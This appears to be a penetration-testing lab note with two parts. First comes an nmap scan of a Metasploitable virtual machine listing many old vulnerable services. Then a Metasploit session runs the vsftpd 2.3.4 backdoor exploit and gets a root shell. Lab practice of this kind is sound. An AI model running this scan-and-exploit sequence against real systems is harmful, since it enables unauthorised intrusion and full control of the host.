

open_ports_scan

09 February 2026 11:38 AM

```
(kali㉿kali)-[~]
$ nmap -sV -O -p- 192.168.1.19
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 00:08 EST
Nmap scan report for 192.168.1.19
Host is up (0.0034s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smptd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd    distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/druby)
35732/tcp open  status       1 (RPC #100024)
39118/tcp open  nlockmgr    1-4 (RPC #100021)
54789/tcp open  java-rmi    GNU Classpath grmiregistry
57934/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:5A:80:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

rootaccess_proof

```
(kali㉿kali)-[~]
File Actions Edit View Help
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.19
RHOSTS => 192.168.1.19
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > OPTIONS
[-] Unknown command: OPTIONS. Did you mean options? Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
_____
CHOST      no            The local client address
CPORT      no            The local client port
Proxies    no            A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.1.19  yes           The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21            yes           The target port (TCP)

Exploit target:
Id  Name
--  --
0  Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.19:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.19:21 - USER: 331 Please specify the password.
[*] 192.168.1.19:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.19:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.31:43331 → 192.168.1.19:6200) at 2026-02-09 00:38:37 -0500
whoami
root
|
```